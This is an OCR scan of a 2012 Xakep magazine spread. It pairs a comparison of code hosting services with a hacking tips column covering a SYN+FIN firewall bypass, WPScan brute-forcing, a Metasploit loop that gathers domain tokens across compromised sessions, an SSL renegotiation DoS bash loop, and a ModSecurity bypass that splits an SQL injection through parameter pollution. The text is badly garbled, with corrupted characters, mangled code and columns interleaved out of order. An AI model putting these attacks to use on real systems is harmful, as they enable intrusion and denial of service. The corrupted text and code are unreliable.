GIT, SVN, Mercurial. Проекты: с открытым исходным кодом.

Основные возможности:

code review, wiki, release hоstiпg , issue tracker.

Изначально предполагалось, что этот

хостинг проектов от Google станет убий цей SourceForge. Сейчас это один из самых про­стых в освоении сервисов . По умолчанию

для каждого проекта доступны wiki, issue tracker и репозиторий исходного кода. Гибки е

AssembIa www.assembla.com Поддерживаемые системы контроля версий:

Git, SVN, Mercurial. Проекты:

бесплатные аккаунты для опенсорсных про­

ектов и платные подписки.

Основные возможности:

wiki, tickets, code review, ftp, time tracker, build system.

Этот сервис в некотором роде уника­

лен по своим воэможностям. Он имеет как

обычные для други х хостингов фишки,

так и со вершенно уникальные. В их число

ХАКЕР 02/157/2012

поможет с раздачей прав на проекте и позволит

следить за вносимыми в него изменениями.

Подобные сервисы предоставляют ряд инстру­

ментов для разработки и поддержки проекта ,

например wiki для составления документации

ложения. Как тебе идея установить, скажем,

issue tracker? Если тебе не нравится исполь­зуемый по умолчанию mediocre, ты можешь выбрать trac или какой-нибудь еще. То же самое относится и к другим приложениям,

которые также можно развернуть: wiki, фо­рум, блог и т. д. Более того, даже если ни одна

предустановленная программа не подошла ,

ты всегда можешь установить сторо нни е при­

ложен ия. Для этого предоставляется shell­се рвер, который позволяе'Т загружать рабочие

файлы по ПР или SCP. Приложение должно быть написано на РНР!RuЬу!Руthоп и ис­пользовать в качестве базы данны х MySQL. Подобная расширяемость и навороченность

затрудняет освоение сервиса: новичку такой

перегруженный интерфейс может показаться

излишним. С другой стороны, если тебе чего­

то не хватает на других хостингах кода, то

здесь ты можешь реализовать любой необхо-

настройки позволяют менять названия и со­

держание указанных страниц. К примеру, если

ты уже хранишь исходники, скажем, на GitHub и не хочешь размещать их на Google Code, то просто создаешь страницу wiki с адресом репозитория (чтобы пользователи нашли твои

исходникиl и указываешь ее в качестве содер­жания страницы Sources. Стоит также отме­тить удобство настройки issue -трекера и рели ­

зов файлов. Можно задавать свои собственные

статусы для issue и метки для выложенны х

файлов. И наверное, самая главная особен­

ность этого хостинга заключается в том, что он

задействует другие сервисы Google. Почтовая рассылка осуществляется с помощью Gmail. Google Groups объединены с issue tracker·OM.

входит поддержка шаблонов отчетов Scrum (популярная сегодня методика управления разработкой информационны х системl, про­

двинутая система тикетов, а также инстру­

менты планирования для гибкой методологии

разработки (Agilel. Сервис явно рассчитан не на социализацию, а на активную работу:

он хо рошо подойдет средним и большим

командам разработчиков. Здесь есть такие

инструменты для совместной работы , как

wiki, files, messages (хорошая замена почто­вой рассылкеl , отчеты о проделанной работе, групповой видеочат, а также так называемый

« поток активности », который очень нагляд­

но показывает состояние проекта, а также

выполняемые задачи . Среди огромного коли­

чества клиентов (а их больше полумиллионаl

Где хранить код?

и issue tracker для фиксирования проблем. Более того, пользователи одного сервиса, как правило,

становятся членами активного компьюнити, что

лучше всего видно на примере GitHub, речь о ко­тором пойдет ниже. Но обо всём по порядку.

"'""" ....

Sourc_Forg_

-_ ... _ .. .... -.......-.. _­_. __ ._ ... - ... ..... ___ .. n _ ... __ ..... ---

димый функционал . Стоит отметить, что сама

платформа SourceForge изначально была открыта: ее мог развернуть любой желающий.

Однако с 2000 года исходники закрыли­остался лишь форк Sаvаппаh.

Резюме: Для эстетов.

._---_ .. -.- ... - ....... -..... -.-.-. "'1-.. --._,...._._ ... _ .. _.-._ .... _ ...... - ..... _ ... _ .. _ .. -... _-.,,----

._ .. _--... ,..--_., -~ ._­._-- .... -600gl_ (od_

в качестве учетных записей, естественно, и с­

пользуются аккаунты Google. Резюме: Для фанатов Google и новичков.

.­.-

Ass_mbIa

g:::~:.....:.;:.-J:.=';:.::::-=~':::' __ ._--- I I::..=· .... =~::....-;:"·-=~=:::.. __ .:::;~.:;=---:;.::::.. I _ .. .... Ull WIIII

=:~=."=:::-"-"_._--"'--::::::.::::.::-- ... -~E-::=";'Z';:=:'::"-::t=':::"--"'-"'-"---

есть немало крупных компаний, которым не­

обходимы средства для управления работой

над проектом: метрики , статистика кода, time tracking и т. д. Резюме: Для больших команд и компаний.

Page 48: Xakep 02_2012

PCZONE

Bitbucket bitbucket.org Поддерживаемые системы контроля версий:

Git, Mercurial. Проекты:

неограниченное количество открытых

и закрытых репозиториев с возможностью

добавлять до пяти коллабораторов Iколлабо­ратарами обычно называют соразработчиковl. Платные подписки.

Многие программисты знакомы с баг­

трекером JIRA, который используется во многих крупных компаниях. Это разработка

известной австралийской компании Аtlаssiап,

в портфеле продуктов которой, помимо про­

чего, есть и хостинг кода. Bitbucket IКорзи-на битовl с функциональной точки зрения предлагает то же самое, что и GitHub. Однако

GitHub github.com Поддерживаемые системы контроля версий:

Git, SVN Igit-svпl. Проекты:

бесплатные публичные репозитарии 1300 МБ общего дискового пространстваl, платные подписки Iзакрытые репозиторииl, команд­ные аккаунты.

Основные возможности :

code review, fork, wiki, issue tracker, почтовые рассылки, сохранения заметок.

Лозунг зто го хостинга, непосредственно от­

ражающий его философию, - социальный ко­

динг. Здесь все крутится вокруг кода и совмест­

ной работы разработчиков. После авторизации

ты увидишь что-то вроде страницы в Facebook - только вместо новостей друзей здесь ото­

бражаются изменения в интересующих тебя

CodePlex www.codeplex.com Проекты:

11 CodePlex 1 I

только под свободной лицензией .

Поддерживаемые системы контроля версий:

Mercurial, TFS IMicrosoft Теат Fоuпdаtiоп Serverl. Основные возможности:

wiki, code review, почтовая рассылка .

Если и искать где-то проекты с откры­

тым исходным кодом на платфторме .Net, то на Codeplex. В этом нет ничего удивительного­ведь это проект компании Microsoft. И хотя ни­кто не накладывает ограничения на инструмен­

ты, используемые для разработки, этот хостинг

основой зтого хостинга является не система

контроля версий Git, а Mercurial, что стало одной из ключевых причин его популярности .

Сейчас используемая система контроля версий

не так уж и важна: хостинг поддерживает

и Mercurial, и Git . Самая же главная киллер­фича, из-за которой многие отдают предпочте­

ние именно Bitbucket, - это возможность бес­

платно создавать неограниченное количество

закрытых репозиториев кода 'В каждом может быть до пяти участниковl. У GitHub за подобную услугу пришлось бы платить денежки . К тому

же проект здесь никак не ограничен в объеме

дискового пространства. Хостинг может по­

мочь переехать с других сервисов 'ты просто указываешь адрес, а остальное он сделает

caMI, а благодаря сходству интерфейса с ин­терфейсом GitHub переезд будет безболезнен­ным. Но следует заметить, что у сер виса слабо

развиты инструменты для review кода - нет

возможности комментировать отрывки кода

проектах и активность программистов. Это

лучшая площадка, чтобы найти энтузиастов,

которые могли бы принять участие в твоем про­

екте, или с ГОЛОВОЙ окунуться в идею, которую

кто-то здесь уже развивает. В погоне за со­

циализацией разработчики не оставили без

внимания и самое важное - работу с кодом.

Чего стоит один только просмотрщик измене­

ний Idiff viewerl, с помощью которого ты можешь комментировать и обсуждать любую строчку

кода . Чтобы создать фор к проекта, требуется

всего лишь дважды кликнуть мышью. Если ты

хочешь, чтобы твои изменения попали в основ­

ной репозитарий, следует отправить специ­

альный запрос 'так называемый pull requestl его владельцу. Основой сервиса является

распределенная система контроля версий Git. Веб-интерфейс с легкостью позволяет делать

форки, накладыватьпатчи, предлагать слияния

Imerge requestsl. Тут же можно развернуть дискуссию - интерфейс сделан так, что тот,

кому адресовано сообщение, обязательно

считается настоящей Меккой для проектов на . Net. Что говорить, если прямо из Visual Studio можно работать с тасками , багами и версиями

проектов, которые хостятся на CodePlex. Сервис полностью бесплатный. Каждому проекту вы­

деляется домен имя_проекта . соdерlех.соm . Из­

начально скрытая страница проекта не раскры­

вается в течение месяца, чтобы у разработчика

была возможность заполнить документацию,

выложить текущие исходники и определиться

с лицензией . После публикации проект начина­

ет настоящую жизнь - с этого момента можно

подключать разработчиков и редакторов,

начинать обсуждения и т. д. В целом CodePlex оставляет ощущения продуманного проекта

и по функционалу сильно напоминает GitHub. Тем не менее, зтот сервис больше подойдет

программистам-одиночкам или небольшим

;::,.~.:==-....:::-_---,_ .. _-

____ ..... IIТ1I'I '_ .... _М_.""_ ........... -......_" ....

'_ .... .,.,....-. .... __ .... __ х_ • .. ~ .-­. _~ ._-Bitbucket

.... -_ .... _-.. _ .. _ .... _--.----'-

и начинать процесс review как таковой . Зато

Bitbucket предлагает удобную интеграцию с другими сервисами, например хотя бы с тем

же самым баг-текером JIRA, а REST АРI по­зволяет создать привязку для любого другого

инструмента Iхотя такой АРI есть и у GitHubI. Резюме: Для фанатов Git и Mercurial .

...... _ .. _ .. _ _ n_ ...

11 а '==:.:::..--:---.... _ ... _ .... _ _ n_ ...

=---;:::':;=0=

~-- ... --- _ .. _-:::.. ... ::::::.=

GitHub

заметит его . GitHub также предлагает один из лучших инструментов для review кода. Среди возможностей этого инструмента - подсветка

иопределениеязыкакод~комментирование

строк кода и коммитов. Некоторые по разным

причинам недолюбливают GitHub, но, тем не ме­нее, можно сказать наверняка, что это самый

популярный среди хостингов Git-репозиториев .

И тебе он тоже понравится.

Резюме: Для фанатов Git и новичков .

П ................... _ .. .....о!~

::.::::.-.::.:::.."':".:..." •. ::=. .. :====;::::::::::..."":"'_ .... :::;:= . ... _ .... __ .......... _-

::;: .. _--....

CodePlex

командам разработчиков, так как интерфейс

заточен под wiki, а не под исходный код . Дру­

гими словами, платформа, скорее, ориентиро­

ва~анапубликациюlведениедокументацииL а не на разработку.

Резюме: Для разработчиков .Net.

ХАКЕР 02/157/2012

Page 49: Xakep 02_2012

Gitorious gitoгious.oгg

Поддерживаемые системы контроля версий:

Git . Проекты:

публичные репозитории.

Основные возможности:

wiki, code review, почтовая рассылка.

Как несложно ПОНЯТЬ из названия, это хо­

стинг для Git-репозиториев кода. Он появился

раньше, чем GitHub, но развивался довольно вяло. Это особенно странно с учетом того, что

исходники Gitorious с самого начала были открыты. Таким образом, ты без проблем смо­

жешь развернуть подобный сервис на своих

Kiln I<iln l www.fogcгeek.com/kiln Поддерживаемые системы контроля версий:

Mercurial . Проекты: только платные подписки [возмо­жен бесплатный доступ на 45 дней). Основные возможности :

code review, bug tracker.

Этот сервис можно назвать одним из лучших

хостин гов Мегсuгiаl-репозиториев, у которого,

пожалуй, есть только один минус - он плат­

ный. Использовать его - одно удовольствие.

Для миграции с других хостингов предлагается

Launchpad launchpad.net Поддерживаемые системы контроля версий:

Bazaar. Проекты:

опенсорсные проекты .

Основные возможности:

code review, bug tracker, faq, answers .

Этот хостинг кода примечателен прежде

всего тем, что построен на системе контроля

версий Bazaar, разработанной компанией Canonical. Собственно, самим Launchpad за­нимаются те же самые разработчики. Если ты

ТАК ЧТО ЖЕ В ЫБРАТЬ? Каждый выбирает сервис под себя. Но если

хочешь моего со вета , то я бы рекомендовал на­

чинающим разработчикам GitHub или Bitbucket. Это отменные сервисы, которые к тому же от­

лично документированы: ты без труда сможешь

освоить не только внутреннюю кухню самих

хостингов кода, но и приобщиться к системе

ХАКЕР 02/157/ 2012

серверах и использовать свой собственный

хостинг кода для работы с файлами разных

проектов [например, внутри предприятия).

Правда , спешу предупредить, что в плане

удобства проект, на мой взгляд, оставляет же­

лать лучшего . Он скорее подходит индивиду­

альным разработчикам, чем команде кодеров.

К примеру, здесь напрочь отсутствуют хот ь

какие-нибудь инструменты для review кода .

От встроенного wiki нет никакого толку ~ он абсолютно не годится для ведения проект­

ной документации. Перемещаться по дереву

исходников и просматривать ЫоЬ'ы [исполь­

зуемые в Git структуры данных) неудобно. С другой стороны, местами интерфейс даже

понятнее , чем у GitHub: например, очень на­глядно отображается части проекта и права

доступа . Если GitHub - это настоящая кладез ь

специальная утилита импорта, по умолча нию

настроенная на твой аккаунт, что позволяет

очень быстро сделать импорт из Git-, SVN-, Мегсuгiаl-репозиториев. Для работы под

виндай предоставляется расширенная версия

клиента TortoiseHg, специально заточенного под этот сервис. Kiln имеет грамотный интер­фейс для геviеw-коАа, да и вообще весь UI вы­полнен на самом высоком уровне. В качестве

bug tracker'a предлагается отдельный продукт, известный в кругах программистов, - FogBugz [правда, только при расширенной подписке). В целом этот сервис хорошо подходит для но­

вичков, которым придется по душе продуман ­

ный и не пере груже н ный лишними наворотами

интерфейс. Короче говоря, с Kiln можно сразу

пытаешься вспомнить, где слышал название

этой компании, п одскажу: это те же парни,

которые породили на свет бешено популярный

UЬuпtu Linux. Нет ничего удивительного в том, что Launchpad ориентирован на зту ос. Напри­мер, он п оддерживает Ubuntu РРА [Personal Package Archives), что позволяет легко снабжать пользователей Убунты программами

и обновлениями . Для большинства проектов ,

которые хостятся на Lauchpad, необходим го­товый репозиторий для Liпuх-пользователеЙ.

Не могу не отметить несколько фишек, кото­

рые крайне удобны в работе. К примеру, для

каждого проекта можно сделать раздел «Во­

просы И ответы», а продвинутый инструмент

для code review сам проверит все конфликты

контроля версий в целом . У GitHub огромное комьюнити и один из самых передовых интер­

фейсов, а Bitbucket позволяет создавать за­крытые репозитории - а это дорого стоит. Тем

программистам, которые специализируются на.

Net, возможно, приглянется CodePlex - он один

может похвастаться интеграцией с Visual Studio. В случае если нужно просто выложить дис-

Где хра нить код?

GitorioU5

интересных проектов, то на Gitorious не так много известных разработок. Если бы не ре­

пазитарии библиотек Qt, то проект, возможно, зачах бы совсем .

Резюме: Для фанатов Git.

.,"--

Кiln

заняться напи санием кода, а не возиться с на­

стройкой среды разработки. Но для зто го, увы,

придется за пл атить денежку.

Резюме: Для фанатов Mercurial и новичков.

---_. __ .. _ ........ ~--_ .. __ .. _ ... __ ... _---..... _---_._ .. _-_ .... ~-__ r ___ _ _

. .~--;:;-;::-;:;-

1-:-;: :; ~. • --

Launchpad

и оповестит всех участников, открыв на сайте

дискуссию .

Резюме: Для фанатов Ubuntu.

трибутив И документацию, а заодно пообщаться

с пользователями, неплохим выбором будет

Google Code. Если твоя разработка потенци­ально может заинтересовать пользователей

Ubuntu Linux, то можно попробовать LaunchPad. AssembIa и Kiln подойдут программистам, рабо­тающим в команде, но им я советовать ничего

не буду. Они и так все знают : ).:Х:

Page 50: Xakep 02_2012

ВЭЛОМ/ЕАSУНАСК

ОБОЙТИ СЕТЕВОЙ ФАЙРВОn

Предположим, что в защищенном файерволом сегменте сети нахо­

дится некая цель. Также допустим, что входящие соединения с этой

целью запрещены, а исходящие от нее разрешены. При всем при

этом файервол использует для подключения динамическую филь­

трацию keep-state, с которой для начала нам и нужно разобраться .

Проще говоря, динамическая фильтрация - это такая фильтрация,

при которой для заданного правила автоматически создается об­

ратное. Например, если есть правило «разрешить трафик от хоста

А на хост Б с порта XYZ на ZYX по протоколу ТСР» , то для того, чтобы

данные могли пройти обратно 10T хоста Б к А), файервол также должен использовать соответствующее правило. При динамической

фильтрации обратное правило создается автоматически, как только

задействуется первое.

Теперь, когда мы определились с терминами , можно переходить

непосредственно к обходу фаЙервола. Теоретически мы никак не

можем добраться до цели, так как любые наши попытки подклю­

чения IТСР-пакеты с SУN-флагом) будут блокироваться. Как ты на­

верняка знаешь, ТСР/IР-протоколы очень гибкие, а RFC описывают далеко не все тонкости. На этом мы и сыграем.

Отдельные операционные системы, позволяют устанавливать

соединения посредством ТСР-пакета с некоторыми дополнительны­

ми флагами, за исключением SYN IKaK ты помнишь, для установки соединения по RFC должен присутствовать только этот флаг). К таким ОС относится как Windows, так и Liпuх Iправда, не все версииl. Полный список можно посмотреть по адресу goo.gl/9mu12. Какие именно дополнительные флаги нужны? Такие, которые являются

легитимными при установленном соединении, то есть, к примеру,

FIN, АС К, RST Iэтот список можно продолжать) . Итак, мы выбрали один из указанных выше флагов . Перейдем ко

второму этапу, на котором нам нужно найти в файерволе определен-

Алексей «GгеелDоg» Тюрин, Digital5ecurity Itwitter.com/a ntyurinl

."'1r.4!r.4 -ЧЬ?

ный баг. Он заключается в том, что файер не проверяет присутствие

SУN-флага для уже « установленного» соединения , то есть во входя­

щем па кете не виден RSТ-флаг.

Думаю, теперь общий принцип атаки понятен. Мы должны под­

ключиться к хосту С помощью ТСР-пакета SYN + FIN, который не будет блокирован файерволом, так как тот сочтет, что мы использу­

ем установленное ранее соединение, а не инициализируем новое,

запрещенное правилами. Атакуемый хост Iнаша целы� отправляет ответ SYN + АСК, а далее идут АСК'и, которые файервол и не должен блокировать, так как исходящий трафик от нашей цели разрешен.

Важный вопрос здесь заключается в том , как часто такие «дыр­

ки » встречаются в фаЙерволах. Лично я не сталкивался с такими

уязвимостями в живой природе, но видел на бескрайних просторах

интернета несколько упоминаний о них. В любом случае идея мне

кажется довольно интересной, так что дерзай!

IfI Fr_ )0: 11bytl' anw1r. (464 bfta), 'Ibytl' capturad (4601 Ыса) III tch.rrмc lI, ,гс: НO/'IН&1'г..-G:bd:fО (c4:17: f l:.o:bd:fO), ~C: .......... __ эЬ:Ь

Int.rnlc,r ot oc01., ,гс: 19J . lel . O.l01 (1.i.161.0. 101),Dst: 1112. 161, 0. 10) t :8 ~IiISl1~~rol PrQ1: .. ~. 11'( 1'«(: ЭЩl ()l1ф . с: ~ (111),

sourclport:1D1S1()1151 DUt1l\Ac1Qf1po1't: .~(lH) [str ... tndlx:l0] 58qUlnCl,...мг:о (r"l.c1vI'lqutnCI"""') 118&Dv 1.ngth: 24 trytl' . - - -

ooo.o.o ...... ltlllrv.d:l+Ot"t ••• O •••••••• -NOnI;.:~ • • t о". О" ....... CongtstlOn IttndoW .1d\lCad (а,а): .." ,О •••••• • 5CN·Ccho:lfOt •• t ...... О ....... urg.nt:1I0t •• t ", .... О ..... ,t.tknowlщ ... nt: , ••• ,.,.O", . PUSh:NOt S.t •••••• ,. ,O" .. .... t:NOt •• t

11 .••.••••• , .. S')'II: s«

'121......0. ео

:. . ~.: r~l· . ---~.----~-----------_ .. . Chtlclc.~: 0X10.r (v.ll1dlt1and1sIb18d] • opt1ona: (~ bytll)

Соединение установлено, несмотря на лриwедwий ТСР-лакет 5YN-FIN

ХАКЕР 02/157/201 2

Page 51: Xakep 02_2012

ВЗЛОМАТЬ САЙТ НА WORDPRESS

WordPress является одной из самы х распространенных CMS в ми ре . Она имеет множество плагинов, тем и настроек , что по­

зволяет с легкостью создавать самые специфические ресурсы, как

большие, так и маленькие. Конечно, эта особенность привлекает к

WordPress внимание и белы х , и черных « шапок» . Как это часто бы-

Определяем плагины WordPress

ПРОКАЧАТЬ ВЫВОД ИЗ NMAP

Все мы знаем и используем в своих легальны х и не очень делах

такую утилиту, как Nmap [ пmар.огg l. Одним из преимуществ этой

программы являются способы вывода информации. У Nmap и х четыре :

1. пmар[-оNI-подефолту.

2. gпmар [-оGI- вывод в.строку для удобного применения в grep. З. xml [-ОХI-ВbIВОА в формате XML. 4. $cгlpt КiDDiЗ [-оSI-для фанов leet speak.

Кроме того, используя аргумент -оА, можно организовать

выв од сразу в первых трех перечисленных форматах. По факту

самы м юзабельным для операций поиска является формат gnmap, а для анализа - XML [через ZепМар, напримерl. Но что если нам хочется приложить красивый лог скана к какому-нибудь отчету о

проделанной работе? Ни один из приведенных форматов для этого

не подходит. Можно, конечно, распарсить XML, но мы поступим проще l

Итак, идем на xmlsoft .org/XSLT/xsl tp roc.html и качаем там ма­ленькую программку под названием xsltproc [кстати, она входит в комплект BackTrackl, затем пишем в консоли следующую команду:

Здесь первый пара метр - это скан птар в ХМL-формате, а

ХАКЕР 02/157/ 201 2

EASY НАСК

вает, после обнаружения какого-либо критичного бага проносится

волна взломов. Но если основной движок уже не преподносит

таких сюрпризов, то его плагины - регулярно.

Для каждого популярного продукта или технологии существуют свои сканеры безопасности, позволяющие автоматизировать и

облегчить труд хакера или ИБ-исследователя. Вот и для WordPress не так давно появился специализированный софт под названием

WPScan Ic оdе . gоо g l е . соm/р/wрsсап /l . Автором этого творения является Rуап Dewhurst. Функционал программы не так широк, как хотелось бы не­

которым, однако в нем присутствует всё самое необходимое.

Во-первых, это определение версии и имеющихся в ней паблик­

уязвимостей . Во-вторых, определение плагинов [в базе WPScan'a их 22201 и, опять же, их уязвимостей. В качестве бонуса при­сутствует многопоточный брутфорсер имен и паролей. С точки

зрения применяемых алгоритмов эдесь всё тривиально : перебор

и парсинг ответов . Следует учитывать, что это возможности лишь

первой версии. По заверениям автора , в последующих будут при­

сутствовать и сами эксплойты для найденны х уязвимостей , что,

согласись, приятно . • Пользоваться тулзой достаточно просто . [Надеюсь, на твоей ма­шинке установлен Ruby? :11

Здесь «--url www. ехаmрlе.соm» -это сканируемый хост, а пара ­

метр «--enumerate р» указывает на то, что модуль для определения плагинов подключен. Кстати, с помощью этой тулзы можно попро­

бовать просканировать и свой ресурс, но лучше всё же воспользо­

ваться специальными плагинами для WordPress вроде WP Security Scan [goo.gl/Ykcn81.

ы.,-,йr.4 Т_А Т

второй - имя итогового файла. На выходе получаем симпатичный

удобочитаемый HTML-Аокумент. Отмечу, что, хотя всё это и вы­глядит довольно просто, описанная тулза имеет довольно широкие

возможности - ее можно использовать для форматирования

других типов XML-фаЙлов.

SC.n SUmm.ry

NmapS.SfIIfH,1 wlllnltlate\tIl Нlln oec I ~QOiO':44 _ -04 1 0 1 . IIJ/Ifиn·р·''', I8'. О. 1

v.rt>oeIty: O;DIII"9~ O

Ho.tn8m8.

о 01,· ]00 (I'JII;)

ТN 'SS)I POI'tS$C_blltl'ClC~btIow

• 6151 I potu replieowkll: ....u

Красивый вывод из Nmap за пару кликов

Page 52: Xakep 02_2012

ВЗnОМ/ЕАSУ НАСК

КОМАНДОВАТЬ СРАЗУ ВСЕМИ ШЕЛЛАМИ ИЗ MSF

Хочу рассказать тебе об одном маленьком, но крайне юзабельном

трюке . Если мы проникли сразу на несколько машин, то, чтобы не

писать команды в каждой из получе нных сессий, мы можем восполь­

зоваться радостями доступа к Ruby прямо из консоли MSF, запустив постмодуль сразу во все х сессиях:

msf? usg . R9.~j;jwin(J9w~jgatt:1E~rl.~Ol,Jm_do.m.a],rJ._j;Qkens . I1Jsf .. еIJЧ!!1_Фmi!i!1_tQkgЛ'!р. irЬ .. framell!ork .•.. s.e.s.~i.ons. giKhjeY cJ.Q .. I.sgssion.l.

run_s]'ngle( "set $.~$$JON#.{sg.ssj,on}" )

print_st.at.us ( "Runniog #{;;Kt:i,Y~Ullodule.,f.ul.lname}

аgаiл.s.t #{se~s.:i9n}" )

... r.un_sing~e.( "r.Un" ) .. . sleep :1,

eod

Код гюлучился тяжеловатым, но мы можем вписать его в гс-ф~йл и

при необходимости запускать с помощью следующих команд:

m:;f> . u.se J1Q.~t/lI!iпdQ.II!:;jgаthе.r/gО.I,J_I1J_dО[lIаiп_t9.kещ

!!I.sf епum_QРl!!iI.iп_ tQk~!1P. rе.sрчr.се .. Т.uп'!ц .... rс

Всё! Постмодуль запущен на всех поовненных машинах. За зту идею

респектуем Jcran'y Igoo.gl/slhXfl.

ЗАDОSИТЬ СЕРВЕР С ПОМОЩЬЮ SSL Ei~'IJAi"'l

Продолжаем мучить SSL. В позапрошлом выпуске рубрики мы разбирали уязвимость под названием SSL Renegation vuln в SSLv3/TLS-протоколе. Информация о ней была обнародована в далеком 2009 году, позтому в большинстве случаев она давно

прикрыта . Как бы то ни было, официальные патчи уже есть, а

renegation ITO есть переинициализация того же защищенного ТСР-соединенияl уже не является опасной фичей, а потому у многих включена.

Теперь давай ра ссмотрим другую интересную особенность

SSL-протоколов. При установке защищенного соединения сервер

затрачивает гораздо больше процессорного времени ITO есть боль­ше использует процессорl, чем клиент. Как ясно из задачи, зтой особенностью можно воспользоваться в деструктивны х целях. :-1 К слову сказать, о ней известно довольно давно, но лишь недавно

группа ТНС представила тулзу, которая реализует описываемый

тип DoS-атаки для SSL Iwww.thc.org/thc-ss l-dosl. Атака фактиче­ски организуется путем множественных операций переинициа­

лизации защищенных соединений Irenegationl в контексте одного SSL-соединения.

Какова мощь такой атаки? Всё достаточно сурово. Предста ­

вители ТНС пишут, что сервер затрачивает на установку соеди­

нения в 15 раз больше ресурсов, чем клиент, а средний сервер может поддержива'ть порядка 300 инициализаций-соединений в секунду. Таким образом, имея всего лишь один атакующий хост с

нормальным каналом связи IDSLI, мы сможем завалить прилич­ный сервер.

Насколько зто соответствует действительности? Здесь есть ин­

тересные нюансы . ИБ-специалист Vincent Вегпа! пр о вел исследо­

вание, посвященное способам защиты от SSL DoS'a Igoo.gl/Ugw801. В ходе исследования он выяснил, что затраты проце ссорно го

времени сильно зависят от используемого алгоритма шифрова­

ния и, как видно из ка ртинки, не настолько велики, хотя разница

всё же заметна. Следовательно, успешность атаки теоретически

определяется алгоритмом шифрования .

Что касается атаки на практике , то здесь всё просто. Берем из­

вестную тулзу от ТНС и запускаем ее следующим образом:

Здесь 127.1.1.1 -IP нашей жертвы, 443 - порт атакуемого сер-

050

;,- л

Запускаем SSL DoS

виса Iподдержка SSL обязательнаl, «--accept» - подтверждение того, что мы не делаем ничего плохо го . :-)

Кстати, функция renegation вовсе не обязательна для атакуемо­го сервера. Атаковать можно и без нее , про сто создав множество

SSL- соединений, однако нагрузка на канал и клиентскую машину

при зтом увеличится в разы. Также атаку можно провернуть и без

тулзы. Вот небольшой Ьаsh-скрипт от той же ТНС :

tb.C. -.ssl.-Фs.itО. { whil.e ... :; do .(wh.iJg ;; Ф .. g~J.\p~; .dошЙ. I \. 9.Rgпssl s_cHent -~рпш~~t . 127.;I, ,J .• .1.;443 2>Ngуjпul1; . Ф,nе}\

for .x in "s.eg.1 100" ; . Фtl1с-s.s;I,.:ф.sit & dQne

Хотелось бы также отметить, что атакуемым сервисом необязатель­но должен быть HHPS. Подойдет любой другой порт, поддержи­

вающий SSL IFТPs, POP3s), потому как сервер один и проце ссорное время тоже одно. Если же говорить о защите, то здесь потребуется

как минимум отключить функции клиентского renegation'a, исполь­зовать менее навороченные алгоритмы шифрования и ограничить

количество инициализаций-соединений с одного IP. Подроб ности ты найдешь по ссылке goo.gl/Ugw80.

ХАКЕР 02/157/2012

Page 53: Xakep 02_2012

О&ОЙТИWАF

Как тебе уже наверня ка известно, WAF Iweb application firewall) - зто файервол, который работает на уровне приложения модели

051. В простейшем виде зта штука нацелена на блокирование

таких запросов к web-серверу, которые пытаются выполнить 5QL­инъекцию или XS5. WAF уже давно превратился из модной фичи для ГИКОВ в необходимую для любого более-менее крупного веб­

проекта вещь. Хотя на практике даже у тех организаций, которые,

казалось бы, просто обязаны заботиться о безопасности пользо­

вательских данных Iбанки, магазины), WAF'bI если и имеются, то только для галочки . То есть они или совершенно устарели, или

просто не настроены, или же настроены, но неправильно. Предпо­

ложим однако, что наша цель всё же защищена нормальным WAF. Что делать? Есть несколько основных способов их обхода. Одним из

таких способов является модификация запросов к серверу . Обойти

защиту с его помощью удается за счет того, что, хотя протокол

НТТР стандартизирован и описан в множестве RF(, обработчики запросо в для разны х веб-серверов реализованы очень по-разному.

Насколько сильно они отличаются, мы увидим дальше.

Одним из классических примеров издевательства над НТТР яв­

ляется прием НРР IНТТР Parameter Pollution) . Что зто? Для ответа обратимся к теории . Во - первы х, к данным , которые пользователь

передает серверу, при соединяется так называемая Query String. Она следует за символом «?». Во-вторых, данные пользователя разделяются на пары вида «имя_параметра=значение». В-третьи х,

зти пары конкатенируются друг с другом с помощью символа «&» или «;». Если пользовательские данные содержат спецсимволы, то они должны быть закодированы специальным образом Iнапример, urlencode в РНР). Пример правильных запросов:

#GEТ

G~T.JfQ9?parl.::y.,J)1$tpar?=Y9J.? . НТТI'/J .. з, ..

#POST PQST. LfQQ HTII'/l,l . ~О.(lt.Ещ1;.: L,ength;. ),9

Итак, НРР представляет собой повторение имен параметров с

разными значениями. Так как подобное поведение, по идее, не

определено в RFC, то разные веб-сервера будут обрабатывать та­кие входные данные по-разному. Вот при мер типичного «за грязне­

НИЯ параметров НТТР»:

?test(1=2 test_l=2 test(1=2 test(1=2

?test.l=2 test_1=2 test.l=2 test. l =2

?(1&d=2 d=2 (1/ d=2 (1&d=2 ?1()хх::2 1 =.а rray( 2) 1()хх=2 1()хх='2

?test+d=1+2 test_d::12 test d=12 test d=12

?test d=12 test_d=12 test d=12 test d=12

?test=% test=% NULL test=

?test%x=l test"~x=l NULL testx=l

?test%OO=l test=l test+ =l test=l

?test%OOa=l test=1 test+ a=l test=l

нттр Parame!er Con!am;na!;on

ХАКЕР 02/157/2012

ЕА5У НАСК

ii.J.k!И -.ь-

Этому запросу соответствуют следующие входные параметры :

• для А5Р и A5P.N ЕТ - значения, разделенные запятыми Iраг1 =val1 ,vaI2,vaI3);

• для Ap-ache и РНР- последнее значение Iраг1 =vaI3); для Apache и Perl- массив IARRAY[Ox8b9059c]);

• для Apache Тотса! - первое значение Iраг1 =vaI1). Чем зта информация может быть нам полезна? Как минимум по­

зволит определить тип веб -се рвера и используемую те х нологию .

Максимум того, что она помогает выяснить, очень сильно зависит

как от самого сер вера, так и оттого, как работают и каким функ­

ционалом обладают сами скрипты. Более подробно НРР описан

в презентации от Luca Carettoni и 5tefano di Paola Igoo.gl/9b9Ix ). А теперь дава й вернемся к обходу WAF и посмотрим, как применяет­ся техника НРР, на примере ModSecurity для А5Р:

jПа.коЙ .. ,щпрос. !5JJQ.кируеrС.8 ... index .• i!spx?P'lge=.sJ~lect .1, ZJ'! frol1l t .<!Qle wher:e .. J .. d"l!.

#/1, Т<!.КQЙ - нет

inc!e.x .. i!spx?page=.select :J.~Ri!ge=Z,3. f.CQ.IJI ,table .wnere id=l

Следует учитывать, что НРР уже давно не является новой тех­

нологией . Указанная выше презентация датируется 2009 годом. Можно придумать бесконечное множество подобных НРР-трюков,

чем и занялся I vап Markovic из Network Solution Inetsec.rs), который в итоге опубликовал небольшую whitepaper про НТТР Parameter Contamination IНРС) . Чтобы лучше понять новый метод, давай снова обратимся к теории .

Итак, согласно RFC, для НТТР определены две группы символов: 1. Зарезервированные, или специальные-а-z,А-Z, 0-9 and_. ! -" 11. 2. Незарезервированные-;/?: ra & =+$,. Однако если ты прямо сейчас посмотришь на свою клавиатуру, то обнаружишь там еще и символы {} I \ л [J '. Вот на них-то наш сербский друг и акцентировал свое внимание. Он вставлял эти

